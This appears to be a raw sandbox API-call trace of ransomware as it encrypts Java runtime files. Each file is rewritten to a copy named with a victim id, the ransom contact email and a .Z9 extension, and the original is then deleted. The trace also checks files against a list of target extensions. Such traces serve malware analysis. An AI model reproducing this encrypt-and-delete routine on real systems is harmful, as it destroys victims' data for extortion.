	[0094.906] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x1fe50, lpOverlapped=0x0) returned 1
	[0094.908] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.908] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1
	[0094.908] SetEndOfFile (hFile=0x370) returned 1
	[0094.909] CloseHandle (hObject=0x370) returned 1
	[0094.909] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.909] SetEndOfFile (hFile=0x338) returned 1
	[0094.910] CloseHandle (hObject=0x338) returned 1
	[0094.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.910] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString=".doc") returned 4
	[0094.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString=".docx") returned 5
	[0094.911] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0094.911] lstrlenW (lpString=".pdf") returned 4
	[0094.911] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString=".xls") returned 4
	[0094.911] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString=".xlsx") returned 5
	[0094.911] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0094.911] lstrlenW (lpString=".ppt") returned 4
	[0094.911] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString=".zip") returned 4
	[0094.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString=".rar") returned 4
	[0094.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString=".bz2") returned 4
	[0094.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.911] lstrlenW (lpString=".7z") returned 3
	[0094.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString=".dbf") returned 4
	[0094.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString=".1cd") returned 4
	[0094.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString=".jpg") returned 4
	[0094.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.912] lstrlenW (lpString=".doc") returned 4
	[0094.912] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.912] lstrlenW (lpString=".docx") returned 5
	[0094.912] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0094.912] lstrlenW (lpString=".pdf") returned 4
	[0094.912] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.912] lstrlenW (lpString=".xls") returned 4
	[0094.912] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.912] lstrlenW (lpString=".xlsx") returned 5
	[0094.912] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0094.912] lstrlenW (lpString=".ppt") returned 4
	[0094.912] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.912] lstrlenW (lpString=".zip") returned 4
	[0094.912] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.912] lstrlenW (lpString=".rar") returned 4
	[0094.912] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.912] lstrlenW (lpString=".bz2") returned 4
	[0094.912] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.912] lstrlenW (lpString=".7z") returned 3
	[0094.912] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.912] lstrlenW (lpString=".dbf") returned 4
	[0094.912] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.912] lstrlenW (lpString=".1cd") returned 4
	[0094.912] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0094.912] lstrlenW (lpString=".jpg") returned 4
	[0094.912] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.912] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.912] lstrlenW (lpString="resource.dll") returned 12
	[0094.912] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.913] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=15424) returned 1
	[0094.913] CloseHandle (hObject=0x338) returned 1
	[0094.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20
	[0094.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.913] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.913] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0094.913] GetLastError () returned 0x0
	[0094.913] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x3c40, lpOverlapped=0x0) returned 1
	[0095.204] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x3c50, lpOverlapped=0x0) returned 1
	[0095.205] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.205] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.205] SetEndOfFile (hFile=0x370) returned 1
	[0095.205] CloseHandle (hObject=0x370) returned 1
	[0095.205] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.205] SetEndOfFile (hFile=0x338) returned 1
	[0095.206] CloseHandle (hObject=0x338) returned 1
	[0095.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.206] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.207] lstrlenW (lpString=".doc") returned 4
	[0095.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString=".docx") returned 5
	[0095.207] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0095.207] lstrlenW (lpString=".pdf") returned 4
	[0095.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString=".xls") returned 4
	[0095.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString=".xlsx") returned 5
	[0095.207] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0095.207] lstrlenW (lpString=".ppt") returned 4
	[0095.207] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.207] lstrlenW (lpString=".zip") returned 4
	[0095.207] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString=".rar") returned 4
	[0095.207] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString=".bz2") returned 4
	[0095.207] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.207] lstrlenW (lpString=".7z") returned 3
	[0095.207] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.207] lstrlenW (lpString=".dbf") returned 4
	[0095.207] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.207] lstrlenW (lpString=".1cd") returned 4
	[0095.207] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.207] lstrlenW (lpString=".jpg") returned 4
	[0095.207] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.208] lstrlenW (lpString=".doc") returned 4
	[0095.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.208] lstrlenW (lpString=".docx") returned 5
	[0095.208] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0095.208] lstrlenW (lpString=".pdf") returned 4
	[0095.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.208] lstrlenW (lpString=".xls") returned 4
	[0095.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.208] lstrlenW (lpString=".xlsx") returned 5
	[0095.208] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0095.208] lstrlenW (lpString=".ppt") returned 4
	[0095.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.208] lstrlenW (lpString=".zip") returned 4
	[0095.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.208] lstrlenW (lpString=".rar") returned 4
	[0095.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.208] lstrlenW (lpString=".bz2") returned 4
	[0095.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.208] lstrlenW (lpString=".7z") returned 3
	[0095.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.208] lstrlenW (lpString=".dbf") returned 4
	[0095.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.208] lstrlenW (lpString=".1cd") returned 4
	[0095.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51
	[0095.208] lstrlenW (lpString=".jpg") returned 4
	[0095.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.208] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0095.208] lstrlenW (lpString="ssvagent.exe") returned 12
	[0095.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.209] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=70208) returned 1
	[0095.209] CloseHandle (hObject=0x338) returned 1
	[0095.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20
	[0095.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.209] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.209] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.210] GetLastError () returned 0x0
	[0095.210] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11240, lpOverlapped=0x0) returned 1
	[0095.212] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11250, lpOverlapped=0x0) returned 1
	[0095.214] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.214] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.214] SetEndOfFile (hFile=0x370) returned 1
	[0095.214] CloseHandle (hObject=0x370) returned 1
	[0095.214] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.214] SetEndOfFile (hFile=0x338) returned 1
	[0095.215] CloseHandle (hObject=0x338) returned 1
	[0095.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.216] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1
	[0095.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.216] lstrlenW (lpString=".doc") returned 4
	[0095.216] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.216] lstrlenW (lpString=".docx") returned 5
	[0095.216] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0095.216] lstrlenW (lpString=".pdf") returned 4
	[0095.216] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.216] lstrlenW (lpString=".xls") returned 4
	[0095.216] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.216] lstrlenW (lpString=".xlsx") returned 5
	[0095.216] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0095.216] lstrlenW (lpString=".ppt") returned 4
	[0095.216] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.216] lstrlenW (lpString=".zip") returned 4
	[0095.216] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.216] lstrlenW (lpString=".rar") returned 4
	[0095.217] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString=".bz2") returned 4
	[0095.217] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.217] lstrlenW (lpString=".7z") returned 3
	[0095.217] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.217] lstrlenW (lpString=".dbf") returned 4
	[0095.217] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.217] lstrlenW (lpString=".1cd") returned 4
	[0095.217] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.217] lstrlenW (lpString=".jpg") returned 4
	[0095.217] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.217] lstrlenW (lpString=".doc") returned 4
	[0095.217] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.217] lstrlenW (lpString=".docx") returned 5
	[0095.217] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0095.217] lstrlenW (lpString=".pdf") returned 4
	[0095.217] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString=".xls") returned 4
	[0095.217] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString=".xlsx") returned 5
	[0095.217] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0095.217] lstrlenW (lpString=".ppt") returned 4
	[0095.217] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.217] lstrlenW (lpString=".zip") returned 4
	[0095.217] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString=".rar") returned 4
	[0095.217] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.217] lstrlenW (lpString=".bz2") returned 4
	[0095.217] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.217] lstrlenW (lpString=".7z") returned 3
	[0095.218] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.218] lstrlenW (lpString=".dbf") returned 4
	[0095.218] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.218] lstrlenW (lpString=".1cd") returned 4
	[0095.218] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51
	[0095.218] lstrlenW (lpString=".jpg") returned 4
	[0095.218] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.218] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.218] lstrlenW (lpString="sunec.dll") returned 9
	[0095.218] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.219] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=135744) returned 1
	[0095.219] CloseHandle (hObject=0x338) returned 1
	[0095.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20
	[0095.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.219] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.219] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.219] GetLastError () returned 0x0
	[0095.219] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x21240, lpOverlapped=0x0) returned 1
	[0095.276] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x21250, lpOverlapped=0x0) returned 1
	[0095.279] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.279] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0095.279] SetEndOfFile (hFile=0x370) returned 1
	[0095.279] CloseHandle (hObject=0x370) returned 1
	[0095.279] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.279] SetEndOfFile (hFile=0x338) returned 1
	[0095.281] CloseHandle (hObject=0x338) returned 1
	[0095.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
